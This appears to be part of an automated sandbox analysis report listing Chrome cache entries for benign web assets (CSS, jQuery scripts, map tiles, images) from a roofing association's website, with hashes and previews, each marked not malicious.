URL:	https://arma1.memberclicks.net/jmc-assets/nivo-slider-css/nivo-themes/mc01/mc01.css
Preview:	/....Skin Name: MC01 (Default)..Author: Beef ("I just tweaked it a bit.")....- Based on the following: -....Skin Name: Nivo Slider Default Theme..Skin URI: http://nivo.dev7studios.com..Description: The default skin for the Nivo Slider...Version: 1.3..Author: Gilbert Pellegrom..Author URI: http://dev7studios.com..Supports Thumbs: true../.....slider-wrapper {background: white;} /* fallback for IE7 which fails to render slider-control-nav and leaves a blank space without this background color */.....theme-mc01 .nivoSlider {...position:relative;...background:#fff url(loading.gif) no-repeat 50% 50%;...margin-bottom: 0px;..}...theme-mc01 .nivoSlider img {...position:absolute;...top:0px;...left:0px;...display:none;..}...theme-mc01 .nivoSlider a {...border:0;...display:block;..}.....theme-mc01 .nivo-controlNav {...text-align: center;...padding: 10px 0;...opacity: 0.15;...-webkit-transition: 0.5s;...-moz-transition: 0.5s;...-ms-transition: 0.5s;...-o-transition: 0.5s;.....}.... .theme-

Chrome Cache Entry: 353

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 354

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 600 x 600, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	47111
Entropy (8bit):	7.985482518135841
Encrypted:	false
SSDEEP:	768:5kzWhE5fQdkW20p4Nii/xN5V4O5ognCBgdAeeyiGRAs/9dy059AXAuVcOPZVciG3:yzb5QlMii/JWwCBtNyicBVM0vAX5peh
MD5:	E2931D6BDBDA2703676B6ABF960032F4
SHA1:	A66E5F46590085D3A69A4A974697DF33965A8F48
SHA-256:	15246AB68C913C98C999A6BFFFB9DFEDFE4E181E725D686DCA6CE064E20FD57E
SHA-512:	A168C4BA90E494235D20F4FF8D30B2140413A9AF99030C72B6AD25D44CD1C4010160B81105DB84D6AA3431D6846CEA2D0A17B1C06F368814993A125834646C8F
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/uploads/2023/07/Digital-Tip-Sheet-Mock-up-1-1-600x600.png
Preview:	.PNG........IHDR...X...X.......h.....PLTEGpL243...............VUU...()(......667.........IKP...+++.........XXXRRS...=@E......nnnGGG...bbb---XXX::;...SSSTTT3..f..<<=^...........s!....ehobelhkr`bh...]^d........................27.u"!("...._X.UNz4....JD.ib....?9......smEI2oqy.}y......vw.}~.......PVar.........Z^;.R.&...tRNS..<.0.H.{'.q..Sg.]...........@......m...L.L....xIDATx..]]O.J..}....".`G...\!..UKI..oy..b)/...qwwfv..W..9..Urt...._.1.....`0.....`0.....`0.....`0.....`0.....`0...[./.......O.\|0..........v}u....v./?/..p.....f..D......?;..U..cK..85.M&..d4..bj1../..i...U...t....&I2^-....O.yb<...T^....T.V.C.#..'..<..j5...a.U+..&........T.$.....a..-.c..zb"... .0K.Vz..b<.6......}.7~...8..H..~.d.f..3.....T..QOn...+...V.3.B.>z....N...........dO..(.8.'.AF}.RY,.dqN....(4...T..u.....m..Q... .I..?..5Q8=......5..\|@.:;.J..Z...Lt-.>.....P.dz>..=..$J9$....@.>.J..".......e}.Da(O....Y...^._{..G......S..H.TE.........%{&.M.G"....R]jR.......K....}...;.q....T..

Chrome Cache Entry: 355

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	5829
Entropy (8bit):	7.874788683267188
Encrypted:	false
SSDEEP:	96:ScAKZusrxFJZcxIfXv6Dak7EY62y+Z2gziWhKx5QZjMcMiQiUQP68:ScAKZus3nByukgYdZ2gziW83Q2iQhH8
MD5:	E7756C8DBDF20E247C7CF7BB938BADFB
SHA1:	5C93E3D6B18AF4B7AA5BA7208F8D8E37E41492AB
SHA-256:	92A8FD51643330D839A3CC1CB4EDC17164382915E91D7A934735F870D9152C3A
SHA-512:	53CA82DCFA474A7CF7DD3CB4FFD1D0D84B134F1D0EBBA0568002926DDD384041A74DD5148F091730312698EDF59FDE785DCA3F82DE9210254270BD761172D7DD
Malicious:	false
Reputation:	low
URL:	https://www.google.com/maps/vt?pb=!1m5!1m4!1i16!2i18862!3i24908!4i256!2m3!1e0!2sm!3i690434157!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0!27m16!299174093m15!14m14!1m9!1m2!1y9928148864880106101!2y4679642052884874500!2s%2Fg%2F11c5n1lpq7!4m2!1x395847673!2x3531091971!8b1!15sgcid%3Ageocoded_address!2b0!3b0!6b0!8b0&client=google-maps-embed&token=93519
Preview:	.PNG........IHDR.............k.XT....pHYs................~PLTE...................................quy...................MQU......y}....i.....}........eim...]u.Y]aUmy.)%...y...A5......t..&....IDATx....c.:........))......d....,.s.....,M.4B........J1...l.}.[......&`8F.R(#J...J!....%...W..W..o.).)..t','./..c.F..../u.t..r!.5..`..X... ...)G...........?........W....(............#..TE.......0(.F.^+....=}......n...bM.k...@........+#j...~...0..@.d..l....T...(3`:.x..C...0..TT&..gdG.x.......T...-....^?..3....g.L...4......i4.....9.L..^:.^]......(..0bUT.Q..4..7.......6..9.....6... ...qr.I..&..S...0..0..Dh....0ZY..e.r.0.............Q..,.P1..E..Z .f.6...O..P.O.......(DQ.{H.8b@.[.I._.2e1H_..0..........,..$.*..e....3)......0h.).~}}.I..........5Tr........Tpp..0i.0.[...,d.d....Y..]...4.a......4...{w..q..j.=........qH..Lc.......c..(.h.@2.s.....08.TE.a....`.P..3.......q].X....;...4\|,.z..4-L.;..`.....}..7)..>.h=k.....n.ij...8...q\.G..../..<..._W.[.a.T...4.T...!h.9.cT...

Chrome Cache Entry: 356

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 500 x 750, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	109011
Entropy (8bit):	7.989179275946445
Encrypted:	false
SSDEEP:	3072:w7/t4J3asQ2D5dMHpbo8r44zrlgqT85bzJa:kG1rZDDubgCgqT85w
MD5:	35D0BFAD47D24074D0BC959A04348715
SHA1:	768E84C8D2C624B76EBC86E8112DF33116557910
SHA-256:	9978DC2FCFFD3C6E455F6F3BF1621C709729DC40506AB96EA1E98F52E8A3CD34
SHA-512:	442523C939809AF9C8A84750FDDAA3A0648ED72460CC091E57135EB7CEB0AE2E29842AB136FC417CF4DD792CC5921BDCAD48D8174193728B9A5C57BE8FB8473F
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............o.......PLTEGpL.......................x......x.$p. ..../....\.....L=<j........)..2...,."...O.%....5c....:.nD..wY>Z....Cc...jICz4O..X..N@&,........`.3?.(......Rt..K...v..u\U...d;c&A..`vPv...#<z^:..i81G..Q..Df3Ox.5../R$:@..\........h..s+..0)2S./.VxIMm.wM.}.Q..eMq.i^... A.`...9...qT1........l..07Z..s&AaG'..F.uiV/G..+.1tn}..YP.=epD_..k.h_....\|.......}...J.vhP7..?aqj..yi.....Xo.8J{.3R.8^Ub......8eh+6.\|m.j..k.....g:.....W.......z..^~.M.Z}...b..q.X.sJ..i..K......tRNS..'..P......o......IDATx.._.i.>.T....+..}'T...H.j.is.f.,.....2f.RQd.dk.Hic.....;..o^...q.../.L....}...y.....8.1.q.c....8.1.q.c....8.1.q.c....8.1....o3~..Eg{.9....Z....S3w.g.&p...?.....X...V..w.}..3..c>w.@g.3g:W;W.u{m-...`.n.f'.....*5^......b.C0?C...Y]=...9G.O..1....y....;WW..uvj..ho...:.5i.s...z............^c......K........3..K.}.Zc....,.t..euWV.L...>.xg...?@.V..oV.].~.SC.0.......a....S.......\..w^9S..0.<.B8.....1'....\O.........3.'C....I../.

Chrome Cache Entry: 357

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65367), with CRLF line terminators
Category:	downloaded
Size (bytes):	86532
Entropy (8bit):	4.996931585142826
Encrypted:	false
SSDEEP:	768:4DuiFi5Kw1dwhMAKl3+K6VWEgAHuHcQ9jA:oi5iMp+K6w7AyA
MD5:	8A4B5E1E843EBDDA8BD4D45A016B4128
SHA1:	3C254FE63EC4C9F7B13F250DAAC5799F01CB3694
SHA-256:	C225ACE207A4832219E85F0A563B387FE067C9FB80D31615ED41ED4974A62225
SHA-512:	7C56FF912E8714C163629131183E0A5AA780A621E6551D355C9ADC551346B5F37DB1C2A6364EDEBC8EC7CA29F65CCAFBEC3ECAAFD9DF2EB7BF95BED2B4B0774F
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/content-views-query-and-display-post-page/public/assets/css/cv.css?ver=3.6.4
Preview:	/!.. Bootstrap v3.3.5 (http://getbootstrap.com).. * Copyright 2011-2015 Twitter, Inc... * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE).. //! normalize.css v3.0.3 \| MIT License \| github.com/necolas/normalize.css */.pt-cv-wrapper article,.pt-cv-wrapper aside,.pt-cv-wrapper details,.pt-cv-wrapper figcaption,.pt-cv-wrapper footer,.pt-cv-wrapper header,.pt-cv-wrapper hgroup,.pt-cv-wrapper main,.pt-cv-wrapper menu,.pt-cv-wrapper nav,.pt-cv-wrapper section,.pt-cv-wrapper summary{display:block}.pt-cv-wrapper audio,.pt-cv-wrapper canvas,.pt-cv-wrapper progress,.pt-cv-wrapper video{display:inline-block;vertical-align:baseline}.pt-cv-wrapper audio:not([controls]){display:none;height:0}.pt-cv-wrapper [hidden],.pt-cv-wrapper template{display:none}.pt-cv-wrapper a{background-color:transparent}.pt-cv-wrapper a:active,.pt-cv-wrapper a:hover{outline:0}.pt-cv-wrapper abbr[title]{border-bottom:1px dotted}.pt-cv-wrapper b,.pt-cv-wrapper strong{font-weight:700}.pt-cv-wrap

Chrome Cache Entry: 358

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	3174
Entropy (8bit):	4.892455073777051
Encrypted:	false
SSDEEP:	48:s06BApbDSL4+9KIb6TBaFJe/mSer80mADWEiumKZaIfWoGTfpgBfW0VMimdonohd:QmcIIbywF4JynpzUfTmcjR
MD5:	1A27531C68DF91EC891A075B0832C2E8
SHA1:	B8039E617353C17DAE0751EA26EE04FA62A7C430
SHA-256:	719875309A034313C742EDFA43B78177BA49971A941B961CA9DD360EAB569C8E
SHA-512:	56799BD0FCA0C154E0536FC103039B68C684929E3BCFBD7A26453156FC8C31CA7F45A927F58228C633819D8D93B8DE619FE0E8A7B307231C04EA426C4A258567
Malicious:	false
Reputation:	low
URL:	https://arma1.memberclicks.net/jmc-assets/global-js/hoverIntent.js
Preview:	(function($){../* hoverIntent by Brian Cherne */..$.fn.hoverIntent = function(f,g) {...// default configuration options...var cfg = {....sensitivity: 7,....interval: 100,....timeout: 0...};...// override configuration options with user supplied object...cfg = $.extend(cfg, g ? { over: f, out: g } : f );....// instantiate variables...// cX, cY = current X and Y position of mouse, updated by mousemove event...// pX, pY = previous X and Y position of mouse, set by mouseover and polling interval...var cX, cY, pX, pY;....// A private function for getting mouse position...var track = function(ev) {....cX = ev.pageX;....cY = ev.pageY;...};....// A private function for comparing current and previous mouse position...var compare = function(ev,ob) {....ob.hoverIntent_t = clearTimeout(ob.hoverIntent_t);....// compare mouse positions to see if they've crossed the threshold....if ( ( Math.abs(pX-cX) + Math.abs(pY-cY) ) < cfg.sensitivity ) {.....$(ob).unbind("mousemove",track);.....// set hoverInten

Chrome Cache Entry: 359

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1006), with no line terminators
Category:	downloaded
Size (bytes):	1006
Entropy (8bit):	4.869968229931494
Encrypted:	false
SSDEEP:	12:YRy0MuB7/V2u82wPAcDySTRKegTqc+uV5Ac+3ceIceei:4l7d2l2AAFSTRngTqcqckchczi
MD5:	31526A0579801D5DBCDC561C06796A80
SHA1:	A48D319338E0B229FD5324AFF10BC9165629136C
SHA-256:	0317440E43C1F8581ECB0511FD78507FD7A9D5F5E1FAE2D04CFE84EEBF7DEF38
SHA-512:	F195A3A1B45CFC3F5D38E99B9B9124896484AE1AC9F560E197CA07128BC2498F549121C1BAEBD0E5EA200F38F6CCD26E3C2627DC5F5905BB96A75CBF2E1B9133
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/row-separators/row-separators/css/style.css?ver=1.4.2
Preview:	body{overflow-x:hidden}.vc_row,.wpb_row{position:relative;z-index:1}.gambit_sep_parent{position:relative;z-index:3!important;overflow:visible!important}svg.gambit_separator{display:none;background:0 0;position:absolute;left:0;right:0;top:0;z-index:9;transform:translateY(-100%) translateY(2px);width:100%}svg.gambit_separator.gambit_sep_flip{transform:translateY(-100%) translateY(2px) scaleX(-1)}svg.gambit_separator.gambit_sep_loaded{display:block}svg.gambit_sep_bottom{top:auto;bottom:0;transform:translateY(100%) translateY(-2px) scaleY(-1)}svg.gambit_sep_bottom.gambit_sep_flip{transform:translateY(100%) translateY(-2px) scale(-1)}body.vc_editor svg.gambit_separator{position:relative!important;display:block!important;transform:none!important;height:auto!important}body.vc_editor svg.gambit_separator.gambit_sep_flip{transform:scaleX(-1)!important}body.vc_editor svg.gambit_sep_bottom{transform:scaleY(-1)!important}body.vc_editor svg.gambit_sep_bottom.gambit_sep_flip{transform:scale(-1)!impo

Chrome Cache Entry: 360

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 361

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	14693
Entropy (8bit):	4.71970155736177
Encrypted:	false
SSDEEP:	192:qrwzK5hVRCua8fuQd4o7Ph4gB6xlVWaMCZja5:TzK5hVRxa8pio7PhVYwa7Zja5
MD5:	7FC3D55E3F05C45C54484AF5DDEF2218
SHA1:	8EF50C11830F375D40B007656AA23AE2FAF40DFD
SHA-256:	0A58FA94998867916E1307FFDE3DB1DFCC18CE9648B15EE4B341FB706AD0C017
SHA-512:	40385A2332D00823CC53E11CB6F8E1A997511697512539C063B0CA640A035501758BEB5642CE484638D572CDA91EC3B83BE48E9286E4A356511903DBE64B04AD
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/themes/u-design/assets/js/frontend/script.js?ver=1.0
Preview:	// Adds a class 'js_on' to the <html> tag if JavaScript is enabled and also helps remove flickering...document.documentElement.className += ' js_on ';....// Quick script to detect some more popular mobile devices...var detectedDeviceAgent = navigator.userAgent.toLowerCase();..var detectedAgentID = detectedDeviceAgent.match( /(android\|webos\|iphone\|ipad\|ipod\|blackberry\|iemobile\|opera mini)/ );..if ( detectedAgentID ) {.. document.body.className += ' mobile-detected';..}....// Smooth scrolling related scripts...(function($){.. "use strict";.. // "Back to Top" smooth scrolling... $( 'a[href="#top"]' ).click( function() {.. $( 'html, body' ).animate( { scrollTop: 0 }, 'slow' );.. return false; // Returning 'false' will prevent hashtag being added to URL... });.. .. // Smooth page scrolling to an anchor on the same page... if ( udesign_script_vars.disable_smooth_scrolling_on_pages != 'yes' ) {.. $( 'a[href*="#"]:not([href="#"], a.woocommerce-revie

Chrome Cache Entry: 362

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	627
Entropy (8bit):	4.824820762439445
Encrypted:	false
SSDEEP:	12:cLWVq8TSdvfgI/W7h+U5ZwHKd/5qvjsc38glA2H8uL77KhZpjsc38Bsc38oEfsGd:cLqSdvf7cQUHwkWspiACXe9spBspoEf5
MD5:	382A85A69594699262DEFDC8A91FF730
SHA1:	2B14EA8A884F4D881EA6EAA1350080D73507AD48
SHA-256:	922653AE9AFCE6FBC50DC739C4E22A02E36032ABE107DC616102B13149192D19
SHA-512:	F95EC5B4A8FEBF97D125836A9AC03BB4BE744ACCDFC78218C952AD627DF0BCC0E4EDDE0B401F5DE7B7F0FA641C72D9C5C6A5BAF64B05DA72B3C17E5B6AB80A31
Malicious:	false
Reputation:	low
URL:	https://arma1.memberclicks.net/includes/css/jqueryui.css
Preview:	.dialogInstructions {. font-family:Verdana, sans-serif;. font-size:xx-small;. color:#FF6666;. margin:0px 0px 0px 0px;. padding:0px;.}./*. Changes for UI-dialog from jquery update. Eventually need to update all of the CSS for jquery UI in classic.*/..ui-dialog{. z-index: 1001;. outline: none;.}..ui-widget-overlay{. z-index: 1000;.}..ui-dialog .ui-dialog-titlebar-close {. text-indent: -9999px;. background: transparent;. border: none;. font-weight: normal;..}..ui-dialog .ui-dialog-titlebar-close:hover, .ui-dialog .ui-dialog-titlebar-close:focus{. cursor: pointer;. padding: 1px;.}

Chrome Cache Entry: 363

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 364

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	1400
Entropy (8bit):	7.516320044080175
Encrypted:	false
SSDEEP:	24:TZXF989AuKcrMI0dRR98N/9v8RSst8xgP2pC6wgWiU0t4HdZzY7c0sA7i6U:TZF986ZI0bP8F1gA9xU0+H3zY7CAi
MD5:	4F60C4FDC0671EF3B124B9C8B67D1075
SHA1:	8D4139D9E419B10E9D59DEE9C02A23D5C4AAC5EF
SHA-256:	215331CB07A1497D9CA0CA291879483354AA4C6DEA214552F7AB7E10BE215DC5
SHA-512:	1F2758538DCD5D50E5313B1B0B242746F36CFB82BEB57B678E54675790F076B342D3971591AFBB42E38F583E441FA86E8C38CE795DD07C130CED9109DF3BB985
Malicious:	false
Reputation:	low
URL:	https://www.google.com/maps/vt?pb=!1m5!1m4!1i16!2i18861!3i24909!4i256!2m3!1e0!2sm!3i690434553!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0!27m16!299174093m15!14m14!1m9!1m2!1y9928148864880106101!2y4679642052884874500!2s%2Fg%2F11c5n1lpq7!4m2!1x395847673!2x3531091971!8b1!15sgcid%3Ageocoded_address!2b0!3b0!6b0!8b0&client=google-maps-embed&token=50324
Preview:	.PNG........IHDR.............k.XT....pHYs................3PLTE............}........Umyy}.........MQU...Q....q.!......IDATx.....8..`..;..O;.. 4...4..z.I..e',E.H..D..Tg.e.P........H.........E.p.O.......z........u...n..rK+..9k-.x..q. ._C.\..)8.~..<...-\|..N.U..(...~v.XvW..m...>.Zg..8u..>...y..v..t!.)/..r..3R(<.q.N....)...t%...H.4}..........O...6...^.[x..{..u....$-......M..b. ...q..u............#."....!;:..'.Vv.6.....".~s.:.y.>.........jx.....59w.c.....r.......Kx.}.'....k...r.x=."{...dxe:<........~.C....Z/l.....p.._.....\|<.NV..90.J:....y+O...t'h:?..........E..%....9....h)..@j..@9.~.....!..................................................l..w ....Y%........_.`w.`R....@.P...,C.,..+...............lI..K-.DVq.F...h.=......W.![n.o2...z.......;.B&...O.T.D.K.I.u.M7.C.[9..Y..7...t.k...v.....\...5ok.h..4...w.9.....ogg...........o>.l_L...........r..g.....w..D.w..wl_t/.[.s>@.."./..hh...`..b.z...$..o..?.F..q....k=.v...h..T.........;..p.5....Y=.....W.3C..N...eD.

Chrome Cache Entry: 365

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2000 x 1333, 2-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	545158
Entropy (8bit):	7.996392784229104
Encrypted:	true
SSDEEP:	12288:P6nTzPiyv1xa1L5UK+HwuNJYufwSFzgjTYG0Yoh3K:mTzHviCwvuVz0C3K
MD5:	3474E8E874EEF556A66E1974AAECFB17
SHA1:	D6C1F498DAD979D8BC385B2FFD5D80F815E5B775
SHA-256:	30FB32F3ACB25C81EBAA92829BB42A4970F211032477404813698B9132ACC462
SHA-512:	161EFD11C699D5EA040915A74F9ED3EAA0A36C6AE27599BA19DFBC0225553DE3EAC394EEEB6CABC5B60355F2D3C04A1A6520FDB55290C02A188B637E8E4489B9
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......5.....6@......PLTEEJI/22 !".........IDATx.L.Q...&.....J...,'..f..FK.....0}1...$.V.w"j.,.a..d.+.#..h.ke..U..}!}yBC..Z.D)N... ...VD....J5..v.d...N....bp... .3\|!......;........y."..q.E/.).........`..^..0..<a._q....5`:?...U.-j5.>p<..;...!...6..........)...........(..[...K$.s...........[~.>.hs.h^.Q...Is....R.f......U.........,...N..I.R:wm.Xl@....B...2.>..........SR...[..p...o!...5....Q..%.x?..\hH.t.$...p.!...Tfkh..P@\..`...!yw!.%.o .1.].~.h^../.1..h...Y.$.Q.`....f..X~v......Cx.t.q.Q..n.<Z...qZq....f..f..G.......a..'..$.p..q#..f...0..b.......4Ka:..,:Db..t.....p..;..`.....I.!L@.<..K....~..sJD...c.....g.>.n..z....a2?....`.~..8..-s.....j.V{......j.X.+s.a._.....u.&.=.Gq..x....y).X6.........o\|t./.....g......ns.sU.KX.!..X.d...#.A.^KB......3.R....;...xmU[.[.2.o..G^W....<.x.$.,B...5....L$Y....A....!..R.a.K.....R.yl..w....2.&....+.)...;.ay..0......uid(T..9&C{..lJ......N ...`:...3..R.l..0.._.c..O!.Ns.J....b... r.\.z.9.H..t.s. ..}....

Chrome Cache Entry: 366

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	569
Entropy (8bit):	4.896633254731508
Encrypted:	false
SSDEEP:	12:Uc11FP/sO6ZRoT6pHAciJkSAx/s6ZmOHc9n+5cMK00k14enEPCedG:3F8OYsKuJXYmOOk4TfenEPCD
MD5:	71D6A57D21337114032CA39B294F3591
SHA1:	ADA1D867672276F16EF4D3B8A46A519FBA8E3D4E
SHA-256:	36B2057EB5EEF261A2CBB8C149DCF3A11EDAA15CCD8E3D462EB34999F5FF8F2A
SHA-512:	BC5F5B55C2741FED993D5D25A36030028C388C8888EA2D1D1F24970AEC4F856CDA366940B99D54FF2D4D9AF16DF8DE39AB847A7BA2BE0B649DE1CE2C9E70A330
Malicious:	false
Reputation:	low
URL:	https://fonts.googleapis.com/icon?family=Material+Icons
Preview:	/* fallback */.@font-face {. font-family: 'Material Icons';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/materialicons/v142/flUhRq6tzZclQEJ-Vdg-IuiaDsNc.woff2) format('woff2');.}...material-icons {. font-family: 'Material Icons';. font-weight: normal;. font-style: normal;. font-size: 24px;. line-height: 1;. letter-spacing: normal;. text-transform: none;. display: inline-block;. white-space: nowrap;. word-wrap: normal;. direction: ltr;. -webkit-font-feature-settings: 'liga';. -webkit-font-smoothing: antialiased;.}.

Chrome Cache Entry: 367

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1585
Entropy (8bit):	4.567037912288925
Encrypted:	false
SSDEEP:	48:vMdWF1ZmM6tdzB8SWgMLM3fq67pZN/ZNo:vPF3mdN8SBie/NRNo
MD5:	D8CBA5E25C0EA4E0CBC4BD0747256B0A
SHA1:	7DC90D76EECC74759691EA81336E9D4D1075476A
SHA-256:	2C792D9467702386A28372790FE8100D97AC89E67072BBD6190BC733A840B77E
SHA-512:	7D1BFC1E6921EC52E046192786E1CFAE473EB670A483DA51FCD865446E16A6CB4DE0CB1BA7B1767C9F0297B123FB72D91654851A502DB7DC7A023FBCFE38F363
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/themes/u-design/inc/frontend/meanmenu/jquery.meanmenu.options.js?ver=3.3.8
Preview:	(function() {.. var menu2ScreenWidth = udesign_responsive_menu_2_vars.menu_2_screen_width;.. var menu2Fixed = udesign_responsive_menu_2_vars.menu_2_fixed;.. jQuery('#navigation-menu').meanmenu({ .. meanMenuClose: "X", // single character you want to represent the close menu button.. meanMenuCloseSize: "18px", // set font size of close button.. meanMenuOpen: "<span /><span /><span />", // text/markup you want when menu is closed.. meanMenuFixed: menu2Fixed, // fix the position of the menu.. meanRevealPosition: "right", // left right or center positions.. meanRevealPositionDistance: "0", // Tweak the position of the menu.. meanRevealColour: "", // override CSS colours for the reveal background.. meanRevealHoverColour: "", // override CSS colours for the reveal hover.. meanScreenWidth: menu2ScreenWidth, // set the screen width you want meanmenu to kick in at.. meanNavPush

Chrome Cache Entry: 368

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (456)
Category:	downloaded
Size (bytes):	16234
Entropy (8bit):	5.084348772291772
Encrypted:	false
SSDEEP:	192:XKjaiOtYPX1xTkn7203kI5tundv9i6fG9RhS2UV53skuMaaSQhQz0iIWG72ur:XqaiTkn7203kI5tunCzS2FE75r
MD5:	74276B367EFCD5A3C2BE481AB6C82B74
SHA1:	A14053951F251BF1BF59B90D39045779DF3355D2
SHA-256:	86E3DC0F1984C9E163278394F78B399E96FA16C58D1C0DECB763CDF1EE772FA9
SHA-512:	3682764045CFF4ABC98F916B6B01D1FDF355B9AAD3D682C8D9F40DE2B54EB9B4054B7DDEC2D6F832C853E8A62A1723B3A32CA2CCA6EACE24427B5BA8B0EA2A93
Malicious:	false
Reputation:	low
URL:	https://arma1.memberclicks.net/includes/css/themes/base/ui.theme.css
Preview:	../. jQuery UI CSS Framework.* Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about).* Dual licensed under the MIT (MIT-LICENSE.txt) and GPL (GPL-LICENSE.txt) licenses..* To view and modify this theme, visit http://jqueryui.com/themeroller/./.../ Component containers.----------------------------------/..ui-widget { font-family: Verdana,Arial,sans-serif/{ffDefault}/; font-size: 1.1em/{fsDefault}/; }..ui-widget input, .ui-widget select, .ui-widget textarea, .ui-widget button { font-family: Verdana,Arial,sans-serif/{ffDefault}/; font-size: 1em; }..ui-widget-content { border: 1px solid #aaaaaa/{borderColorContent}/; background: #ffffff/{bgColorContent}/ url(images/ui-bg_flat_75_ffffff_40x100.png)/{bgImgUrlContent}/ 50%/{bgContentXPos}/ 50%/{bgContentYPos}/ repeat-x/{bgContentRepeat}/; color: #222222/{fcContent}/; }..ui-widget-content a { color: #222222/{fcContent}/; }..ui-widget-header { border: 1px solid #aaaaaa/{borderColorHeader}/; background: #cccccc/

Chrome Cache Entry: 369

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	7468
Entropy (8bit):	7.890096814852679
Encrypted:	false
SSDEEP:	192:AqT/XlCd1q3GKCgh5WgvzlIY+riZeK3rqor9THdLn0Gi:Aqz8/o5rp6iZ5qorRHKGi
MD5:	F2129E1B06E2A34BA5144891D21B457D
SHA1:	6FF7F0BAC0F82846A1AB0234BDCE4F9F37C2BCC7
SHA-256:	0209FC8DEE63C4BE1D9C644AA254FC9E34EA54BF5C0DA4832A1D1CDCBF35F23D
SHA-512:	8DC68671701569F48828262C60331F8223F7D126E5611A5A1858B73D5AEFE27619F53AEC1D2629C20419804F0060D38E5447CA4CE9702A3ACE1A79C41E16820F
Malicious:	false
Reputation:	low
